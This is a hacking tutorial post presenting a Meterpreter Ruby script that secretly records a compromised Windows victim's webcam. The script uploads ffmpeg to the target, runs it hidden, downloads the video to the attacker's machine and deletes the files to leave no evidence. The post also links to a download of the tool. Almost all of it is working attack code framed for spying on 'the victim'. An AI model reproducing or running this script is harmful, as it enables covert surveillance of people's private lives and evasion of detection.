Activate Remote PC Webcam and Record the Victim.
This is a nice little script that will record from victims webcam & upload the output to your/the attackers machine then clean up after itself leaving no evidence.
Run the following command once you have a session started using the Metasploit Meterpreter, as shown in the previous tutorial.
meterpreter > run camrecorder -t 30
Code:
######################################################
# Webcam Recorder Meterpreter Script by Intern0t.net#
# Michael Johnson (Zero Cold) mjog123@hotmail.com #
# Recorder idea by Jake Johnstone aka. Sud0x3 #
######################################################session = client
host,port = session.tunnel_peer.split(‘:’)
#Menu-Options
@@exec_opts = Rex::Parser::Arguments.new(
“-h” => [ false, "Help menu." ],
“-t” => [ true, "Time limit in seconds.( 01 to 60 )" ])
def usage
print_line(“Webcam Recorder Meterpreter Script by Intern0t.net”)
print_line(” Michael Johnson (Zero Cold) mjog123@hotmail.com “)
print_line(“###################################################”)
print_line(“Usage: camrecorder -t <time> “)
print(@@exec_opts.usage)
raise Rex::Script::Completed
end
#Files to upload to target host
ffmpegexe = File.join(Msf::Config.install_root, “data”, “upload.exe”)
#Function to upload files
def upload(session,file)
location = session.fs.file.expand_path(“%TEMP%”)
fileontrgt = “#{location}\\upload.exe”
print_status(“Uploading Self Extracting Archive …”)
session.fs.file.upload_file(“#{fileontrgt}”,”#{file}”)
print_status(“Upload Complete …”)
return fileontrgt
end
#Capture video from webcam
def camrec(client,session,time)
location = session.fs.file.expand_path(“%TEMP%”)
print_status(“Extracting …”)
session.sys.process.execute(“cmd /c “”#{location}\\upload.exe”, nil,{‘Hidden’ => true,’Channelized’ => false})
sleep 5
print_status(“Starting Capture of #{time}’s…”)
session.sys.process.execute(“cmd.exe /c #{location}\\ffmpeg -f vfwcap -r 20 -v 10 -i 0 -t 00:00:#{time} #{location}//output.avi”, nil,{‘Hidden’ => true,’Channelized’ => false})
end
#Download Output File
def download(session)
location = session.fs.file.expand_path(“%TEMP%”)
print_status(“Downloading Capture …”)
fileontrgt = “#{location}\\output.avi”
file = “/root#{::File::Separator}capture.avi”
session.fs.file.download_file(file,fileontrgt)
print_status(“File Downloaded to #{file}”)
end
#Deleting left over files
def delfiles(session)
location = session.fs.file.expand_path(“%TEMP%”)
print_status(“Deleting Left Over Files …”)
print_status(“Deleting output.avi …”)
session.sys.process.execute(“cmd.exe /c del #{location}\\output.avi”, nil, {‘Hidden’ => true})
print_status(“Deleting ffmpeg.exe …”)
session.sys.process.execute(“cmd.exe /c del #{location}\\ffmpeg.exe”, nil, {‘Hidden’ => true})
print_status(“Deleting upload.exe …”)
session.sys.process.execute(“cmd.exe /c del #{location}\\upload.exe”, nil, {‘Hidden’ => true})
print_status(“All Files Removed …”)
end
#Menu-Imput
time = 0
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when ”-t”
time = val
when ”-h”
usage
end
}
if time != 0
upload(session,ffmpegexe)
camrec(client,session,time)
sleep(time.to_i)
download(session)
delfiles(session)
else
usage
end
Download code and files here:
http://www.4shared.com/file/189489631/badb38f/_2__camrecorder.html





Changes made